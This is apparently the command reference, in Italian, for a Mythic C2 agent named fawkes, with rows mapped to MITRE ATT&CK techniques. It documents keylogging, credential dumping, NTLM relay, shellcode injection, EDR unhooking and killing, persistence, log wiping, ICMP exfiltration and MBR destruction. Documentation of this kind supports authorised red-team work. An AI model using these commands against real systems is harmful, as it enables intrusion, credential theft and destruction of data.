kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumera le relazioni di delega Kerberos — non vincolata, vincolata (con transizione di protocollo), RBCD. **monitor** action (Solo Windows/SYSTEM) interroga LSA per TGT in arrivo e li esporta come blob kirbi. Multipiattaforma tranne monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Logger della tastiera a basso livello. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Rileva eventi incolla Ctrl+V/Cmd+V e cattura il contenuto degli appunti. Tracciamento del contesto della finestra su tutte le piattaforme (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Testa le opzioni di movimento laterale contro i target — controlla connettività SMB, WinRM, RDP, RPC, SSH e suggerisce metodi applicabili. Multipiattaforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostra la cronologia degli accessi, tentativi di accesso falliti ed eventi di avvio/arresto del sistema. Linux: analizza wtmp/btmp. Windows: log eventi di sicurezza/sistema. macOS: `last` nativo + log unificato. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Interroga Active Directory tramite LDAP. Query preimpostate per utenti, computer, gruppi, amministratori di dominio, tutti gli amministratori (adminCount), SPN, AS-REP roastable, account disabilitati, GPO, OU, password-never-expires, trust di dominio, delega non vincolata/vincolata, analisi DACL, estrazione password gMSA, raccolta BloodHound CE v6 (utenti/computer/gruppi/OU/GPO/trust per analisi del grafo), o filtri LDAP personalizzati. Multipiattaforma (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modifica oggetti AD tramite LDAP. Appartenenza a gruppi, attributi, SPN, abilita/disabilita account, reset password, shadow credentials, creazione account macchina, delega RBCD, eliminazione oggetti. Abuso GPO: inietta attività pianificate (gpo-task) o script di avvio (gpo-script). ADCS: modifica template di certificato per sfruttamento ESC1/ESC4. Multipiattaforma (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Termina un processo tramite PID. Multipiattaforma (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Legge le password LAPS da AD tramite LDAP. Supporta LAPS v1 (ms-Mcs-AdmPwd) e Windows LAPS v2 (ms-LAPS-Password). Multipiattaforma (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Solo Windows)** Estrae segreti LSA (password di servizi, chiavi DPAPI, account macchina) e credenziali di dominio memorizzate nella cache (formato hashcat DCC2/MSCacheV2). Richiede SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Solo macOS)** Installa, rimuove o elenca la persistenza LaunchAgent/LaunchDaemon. Crea plist con RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Collega a un agente P2P tramite TCP o named pipe per pivoting interno. La modalità named pipe usa la porta SMB 445 per traffico Windows più furtivo. TCP multipiattaforma, named pipe solo Windows (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Crea collegamenti simbolici o fisici. I collegamenti simbolici possono puntare a percorsi inesistenti. La modalità force sostituisce il collegamento esistente. Multipiattaforma (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Solo Linux)** Elenca, legge, cancella o manomette i file di log Linux e i record di accesso binari (wtmp/btmp/utmp). Supporta la rimozione selettiva di righe e la triturazione sicura (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Enumera le sessioni di accesso attive — utenti, ID sessione, stazioni, stato della connessione. Filtra per nome utente. Windows: API WTS. Linux: parsing utmp. macOS: parsing utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Esecuzione proxy LOLBin/GTFOBin. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multipiattaforma: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Elenca file e cartelle con proprietario/gruppo e timestamp. Integrazione con il browser dei file. Predefinito alla directory corrente.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Solo Windows)** Crea un token dalle credenziali: impersonalo, avvia un processo o **auto-verify** (impersona poi whoami + catena getprivs) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Mascheramento e occultamento di file — maschera file (doppia estensione, RtLO, spazio, corrispondenza processo) o nascondi dall'enumerazione (nascondi/mostra). Windows: attributi +H/+S. Linux: prefisso dot. macOS: UF_HIDDEN + prefisso dot (T1036, T1564.001).
mkdir | `mkdir <directory>` | Crea una nuova directory (crea le directory padre se necessario).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Solo Windows)** Inietta shellcode calpestando la sezione .text di una DLL legittima. Lo shellcode viene eseguito dallo spazio degli indirizzi di una DLL firmata, bypassando il rilevamento della memoria privata (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Elenca i moduli/DLL/librerie caricati in un processo con filtro opzionale per nome. Multipiattaforma (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Cerca nella memoria del processi pattern di byte con output hex dump. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (solo self-scan). Supporta pattern stringa ed esadecimali. Multipiattaforma (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Elenca i filesystem montati con dispositivo, punto di mount, tipo e opzioni. Supporta filtri per nome o tipo di filesystem. Multipiattaforma (T1082).
mv | `mv <source> <destination>` | Sposta o rinomina un file dalla sorgente alla destinazione.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Elenca named pipe (Windows), socket di dominio Unix e FIFO (Linux/macOS) per scoperta IPC. Supporta filtri per sottostringa (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Enumerazione di rete multipiattaforma. Utenti, gruppi, membri di gruppi, amministratori, sessioni, condivisioni. Windows: Win32 NetAPI (query di dominio, unità mappate). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Enumera le appartenenze ai gruppi AD tramite LDAP. Risoluzione ricorsiva dei membri, ricerca dei gruppi di un utente, enumerazione dei gruppi privilegiati. Multipiattaforma (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gestisce account utente locali e appartenenza a gruppi. Windows: API netapi32. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Disabilita/abilita/blocca per simulazione ransomware T1531. Multipiattaforma (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Elenca le connessioni di rete attive e le porte in ascolto con protocollo, stato, PID e nome processo. Supporta filtri per stato, protocollo, porta e ID processo. Multipiattaforma.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Solo Windows)** Rimuove gli hook EDR inline dalle DLL ripristinando la sezione .text da una copia pulita. Supporta 5 DLL o `all`. `check` segnala gli hook senza modificarli. La sorgente `knowndlls` usa oggetti sezione \\KnownDlls\\ (evita I/O su disco — più OPSEC-friendly) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Solo Windows)** Risolutore indiretto di syscall. Analizza le esportazioni di ntdll per risolvere i numeri di syscall Nt* e genera stub che saltano al gadget syscall;ret di ntdll. Quando attivo, i comandi di iniezione bypassano gli hook API in userland (T1106).
opus-injection | `opus-injection` | **(Solo Windows)** Iniezione in processo basata su callback. Variante 1: Catena di gestori Ctrl-C. Variante 4: PEB KernelCallbackTable. [Dettagli](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Installa o rimuove persistenza. Windows: registro, cartella di avvio, com-hijack, screensaver, ifeo, winlogon, print-processor, accessibilità, active-setup, time-provider, port-monitor, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Tutti i metodi supportano install/remove/list.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Enumerazione in sola lettura dei meccanismi di persistenza. Windows: registro, avvio, attività, servizi. Linux: cron, systemd, profili shell, chiavi SSH, LD_PRELOAD, regole udev, moduli kernel, motd, lavori at, servizi D-Bus, moduli PAM, hook di pacchetto, script logrotate, dispatcher NetworkManager, anacron. macOS: LaunchAgents, elementi di login, script periodici, plugin di autenticazione, emond, lavori at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Scopre database e file di configurazione di gestori di password — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multipiattaforma (T1555).
poolparty-injection | `poolparty-injection` | **(Solo Windows)** Inietta shellcode usando tecniche PoolParty che abusano degli interni del Thread Pool di Windows. Tutte le 8 varianti supportate. [Dettagli](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` o `ping -action exfil-icmp -target <IP> -file <path>` | Raggiungibilità host TCP connect (T1018) + esfiltrazione dati ICMP tramite payload di richiesta echo con codifica XOR e jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Solo Windows)** Impersonificazione tramite named pipe per escalation dei privilegi. Crea server di named pipe, attende connessione di client privilegiato, impersona il token. Richiede SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Solo Windows)** Escalation dei privilegi PrintSpoofer — SeImpersonate a SYSTEM tramite Print Spooler. Crea named pipe, innesca connessione spooler tramite OpenPrinterW, impersona token SYSTEM. Un passaggio NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Elenca i pacchetti e il software installati. Enumera dpkg/rpm/apk (Linux), Homebrew/Applicazioni (macOS) o chiavi di disinstallazione del registro (Windows). Supporta filtri per nome. Multipiattaforma (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Scansione TCP connect per scoperta di servizi di rete. Supporta CIDR, intervalli IP e intervalli di porte. Multipiattaforma.
powershell | `powershell <command> [--encoded]` | **(Solo Windows)** Esegue un comando PowerShell tramite powershell.exe con flag OPSEC-hardened (abbreviato, randomizzato). Supporta modalità comando codificato per nascondere gli argomenti dall'albero dei processi.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Solo Windows)** Analizza e gestisce i file Prefetch di Windows. Elenca i programmi eseguiti, analizza la cronologia di esecuzione (fino a 8 timestamp), elimina voci specifiche o cancella tutto. Supporta file compressi MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Enumerazione e sfruttamento dell'escalation dei privilegi. `auto-escalate`: catena automatica di sotto-attività — enumera tutti i vettori poi tenta la migliore escalation disponibile (bypass UAC, furto token o sudo). `hijack-execute`: fabbrica automatica di DLL proxy — legge le esportazioni della DLL target, il server compila una DLL proxy con shellcode incorporato (mingw). `hijack-deploy`: distribuisce la DLL proxy (rinomina l'originale, posiziona la proxy). `hijack-trigger`: innesca il dirottamento — riavvia un servizio (`-trigger restart -service_name <svc>`) o avvia un processo (`-trigger spawn -source <exe>`) per caricare la DLL proxy. `hijack-cleanup`: inverte un dirottamento distribuito (elimina la proxy, ripristina l'originale). Windows: privilegi del token, servizi non quotati, AlwaysInstallElevated, auto-logon, UAC, file unattend, scansione di dirottamento DLL (DLL fantasma, PATH scrivibile, KnownDLLs), piantumazione DLL con timestomping, sideloading DLL, enumerazione esportazioni PE (dll-exports con generazione file DEF), abuso dei permessi del registro di servizio. Linux: SUID/SGID, capacità, sudo, container, dirottamento cron, NFS no_root_squash, unità systemd, token sudo, dirottamento PATH, gruppo docker, gruppi pericolosi, regole Polkit, hook modprobe, iniezione ld.so.preload, moduli di sicurezza (AppArmor/SELinux). macOS: LaunchDaemons, TCC, dirottamento dylib, SIP. Multipiattaforma (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` o `psexec -action check -host <target>` | **(Solo Windows)** Esegue comandi su host remoti tramite creazione di servizio SCM — movimento laterale stile PSExec. `check` valida i prerequisiti (SMB 445, accesso SCM, condivisioni amministrative) senza eseguire. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Solo Linux)** Ispezione approfondita di /proc: dettagli del processo (cmdline, env, caps, cgroups, namespace, FD), connessioni di rete con risoluzione PID, mount, moduli kernel. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Solo Windows)** Interroga o imposta le policy di mitigazione del processo (DEP, ASLR, CIG, ACG, CFG). Imposta CIG per bloccare il caricamento di DLL non firmate (difesa EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Mostra la gerarchia dei processi come albero con relazioni genitore-figlio. Aiuta a identificare target di iniezione e strumenti di sicurezza. Multipiattaforma (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Scarica la memoria di un processo. Windows: MiniDumpWriteDump con rilevamento automatico LSASS. Linux: scaricamento regione /proc/pid/mem. L'azione search trova processi che contengono credenziali. Carica su Mythic e pulisce dal disco. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Rileva le impostazioni del proxy dalle variabili d'ambiente, dalla configurazione del sistema operativo (registro, file di configurazione) e dal trasporto Go. Test di connettività opzionale. Multipiattaforma (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Elenca i processi in esecuzione con integrazione del browser dei processi Mythic. Filtra per nome, PID, PPID o nome utente. Multipiattaforma.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Solo Linux, amd64/arm64)** Iniezione in processo tramite ptrace — PTRACE_ATTACH/POKETEXT/SETREGS con ripristino del registro e del codice. Pre-controllo di Yama ptrace_scope con indicazioni attuabili. La modalità check riporta ptrace_scope, capacità e candidati (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Avvia una sessione interattiva PTY tramite il tasking interattivo di Mythic. Emulazione terminale completa con I/O bidirezionale (T1059).
pwd | `pwd` | Stampa la directory di lavoro corrente.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Solo Windows)** Legge byte dall'indirizzo di una funzione DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Solo Windows)** Operazioni unificate sul registro — legge, scrive, elimina, cerca e salva hive (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Legge/scive il registro su host Windows remoti tramite WinReg RPC su named pipe SMB. Supporta pass-the-hash. Multipiattaforma (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gestisce servizi su host Windows remoti tramite SVCCTL RPC. Operazioni standard + movimento laterale avanzato: modify-path (dirotta binpath del servizio esistente), trigger (crea servizio avviato da trigger), dll-sideload (dirottamento del registro ServiceDll). Pass-the-hash. Multipiattaforma (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Solo Windows)** Torna al contesto di sicurezza originale eliminando qualsiasi token di impersonificazione attivo.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Mostra la tabella di routing del sistema con filtro opzionale. Windows: API GetIpForwardTable, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Multipiattaforma (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Port forwarding: reverse (Mythic instrada verso il target) o forward (l'agente inoltra al target interno). Multipiattaforma (T1090).
rm | `rm [-path <path>] [-secure true]` | Rimuove un file o una directory. `-secure true` sovrascrive con dati casuali (3 passaggi) prima dell'eliminazione, impedendo il recupero forense (T1070.004).
run | `run <command>` | Esegue un comando shell e restituisce l'output.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Esegue un comando come utente diverso. Windows: CreateProcessWithLogonW (supporta /netonly). Linux/macOS: setuid come root, o sudo -S con password. Multipiattaforma (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gestisce attività pianificate. Windows: API COM Task Scheduler. Linux: crontab, timer systemd, lavori at. macOS: LaunchAgents/LaunchDaemons, crontab, at. Multipiattaforma (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Cattura uno screenshot singolo o registra screenshot continui a intervalli. Carica come PNG. modalità record: intervallo/durata/max_frames configurabili, fermabile tramite jobkill. Windows: GDI. macOS: screencapture. Linux: rilevamento automatico X11/Wayland. Multipiattaforma (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Cerca nei file segreti, chiavi API, chiavi private, stringhe di connessione e pattern sensibili. 42 pattern regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, ecc.) con oscuramento del valore. Camminata delle directory con limite di profondità, salta le directory rumorose. Multipiattaforma (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Elimina file in modo sicuro, cancella dati o distrugge record di avvio. `delete`: sovrascrittura casuale + rimozione. `wipe`: distruzione pattern aggressiva (T1485). `wipe-mbr`: sovrascrive il record di avvio MBR/GPT sul dispositivo disco raw (T1561). Cancello di sicurezza richiesto. Multipiattaforma (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Riporta la posizione di sicurezza e i controlli attivi, rileva prodotti EDR/XDR (oltre 20 vendor), enumera driver minifilter con classificazione EDR, o elenca i driver kernel caricati con analisi EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multipiattaforma (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Sniffing di rete, avvelenamento e relay NTLM. `capture`: estrazione passiva di credenziali (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: responder attivo con cattura hash SMB+HTTP — hash NTLMv2 in modalità hashcat 5600. `relay`: relay NTLM verso SMB target. `ldap-relay`: relay NTLM verso LDAP target con operazioni post-autenticazione (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Sfoglia le condivisioni SMB su più host alla ricerca di file sensibili — credenziali, configurazioni, script. Ricerca ricorsiva di directory con supporto pass-the-hash. Multipiattaforma (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Operazioni su file SMB2 su condivisioni remote — elenca, sfoglia, legge/scrive/elimina, push per trasferimento laterale di strumenti, exfil per esfiltrazione dati, taint per piantumare file. **share-perms**: testa accesso in lettura/scrittura su tutte le condivisioni. **share-spider**: elenco ricorsivo delle directory con filtri di profondità/estensione. **share-search**: trova file sensibili attraverso le condivisioni utilizzando pattern incorporati o personalizzati. Autenticazione NTLM + pass-the-hash. Multipiattaforma (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gestisce servizi + targeting EDR/AV. `edr-enum`: rileva servizi di sicurezza installati (oltre 60 firme). `edr-kill`: ferma+disabilita EDR rilevato (cancello di sicurezza richiesto). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Imposta o rimuove variabili d'ambiente nel processo agente. Multipiattaforma.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Legge la cronologia della shell, elenca/legge/inietta/rimuove/cancella i file di configurazione della shell. Linux/macOS: bashrc/zshrc. Windows: profili PowerShell + cronologia PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` o `sleep -interval 60 -jitter 30 -jitter_profile normal` | Imposta intervallo di callback, jitter, ore lavorative e profilo di distribuzione del jitter (uniforme/normale/esponenziale). La distribuzione normale si raggruppa vicino all'intervallo; quella esponenziale imita pattern umani a raffica.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Avvia, ferma, mostra statistiche o imposta larghezza di banda per proxy SOCKS5. Supporta TCP CONNECT e UDP ASSOCIATE (RFC 1928) per relay di strumenti DNS/UDP attraverso il proxy. Limitazione opzionale della larghezza di banda per connessione in KB/s. Le statistiche mostrano connessioni attive, byte TX/RX, cronologia recente.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Ordina le righe di un file. Supporta modalità alfabetica, numerica, inversa e univoca. Multipiattaforma (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Solo Windows)** Avvia un processo o thread sospeso per iniezione. Supporta PPID spoofing (T1134.004) e blocco delle DLL non Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Password spray contro AD tramite pre-autenticazione Kerberos, bind LDAP o autenticazione SMB. SMB supporta pass-the-hash. Consapevole del blocco con ritardo/jitter configurabili. Multipiattaforma (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Esegue comandi, carica file o crea tunnel SSH. `check` valida i prerequisiti SSH (porta, autenticazione, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multipiattaforma (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Solo Linux/macOS)** Enumera i socket dell'agente SSH e le chiavi caricate. Scopre SSH_AUTH_SOCK, scansiona /tmp/ssh-*, /run/user/*, portachiavi GNOME. Riporta le impronte delle chiavi al deposito credenziali (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gestione delle chiavi SSH e automazione del movimento laterale. Legge/inietta authorized_keys, legge chiavi private, genera coppie di chiavi, enumera configurazione SSH. Movimento laterale: find-reachable (scansione sottorete), try-keys (testa chiavi), auto-move (catena scan→auth→exec). Windows: sessioni/registro PuTTY, chiavi .ppk, WSL, OpenSSH, git SSH config. Multipiattaforma (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Mostra i metadati di file/directory: tipo, dimensione, permessi, timestamp. Dettagli specifici della piattaforma — inode/proprietario (Linux/macOS), attributi file (Windows). Consapevole dei collegamenti simbolici tramite Lstat. Multipiattaforma (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Estrae stringhe ASCII stampabili da file. Trova testo incorporato, URL, credenziali in binari. Filtro pattern, controllo lunghezza minima, offset/dimensione massima. Multipiattaforma (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Solo Windows)** Inizializza CLR v4 o esegue assembly .NET. L'azione `execute-assembly` applica automaticamente patch AMSI+ETW ed esegue l'assemblea in un unico passo (come CS execute-assembly). Modalità manuale con -amsi_patch/-etw_patch per controllo fine.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Solo Linux)** Installa, rimuove o elenca la persistenza di servizi/timer systemd. Ambito utente o di sistema. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Solo Windows)** Ruba un token da un altro processo: impersonalo o avvia un processo con esso (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Solo Windows)** Vault di token nominati — salva, elenca, ripristina, rimuove e visualizza la cronologia delle transizioni di identità. Consente il cambio rapido tra identità rubate/create senza dover rubare di nuovo (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Sospende o riprende un processo. Pausa tattica di EDR/AV durante operazioni sensibili. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Multipiattaforma (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Informazioni complete sul sistema: versione OS, hardware, memoria, uptime, dominio, .NET (Windows), stato SELinux/SIP. `full-profile` esegue una catena automatica di profilazione host in 5 passi (sysinfo → ps → security-info → privesc-check → persist-enum). Multipiattaforma (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Solo Windows)** Rileva l'installazione di Sysmon ed estrae la configurazione — stato servizio/driver, algoritmo hash, flag opzioni, dimensione dati regole, canali eventi. Rileva installazioni rinominata tramite altitudine minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Stampa le righe del file in ordine inverso. Utile per visualizzare i log dal più recente al più vecchio. Multipiattaforma (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Legge le prime o ultime N righe/byte di un file senza trasferire l'intero contenuto. Buffer circolare per tail efficiente, ricerca inversa per file grandi. Multipiattaforma (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Solo macOS)** Enumera i permessi TCC (Trasparenza, Consenso e Controllo). Scopre quali app hanno accesso a fotocamera, microfono, registrazione schermo, accesso completo al disco. Raggruppa per servizio con riepilogo consentito (T1082).
touch | `touch -path <file> [-mkdir true]` | Crea un file vuoto o aggiorna i timestamp di un file esistente. Creazione opzionale della directory padre. Multipiattaforma (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Inietta shellcode tramite dirottamento dell'esecuzione del thread — sospende un thread esistente, reindirizza PC/RIP allo shellcode, riprende. macOS usa API Mach (task_for_pid + thread_get/set_state), richiede root (T1055.003).
threadless-inject | `threadless-inject` | **(Solo Windows)** Inietta shellcode usando iniezione senza thread agganciando una funzione DLL in un processo remoto. Più furtivo dell'iniezione vanilla poiché non crea nuovi thread.
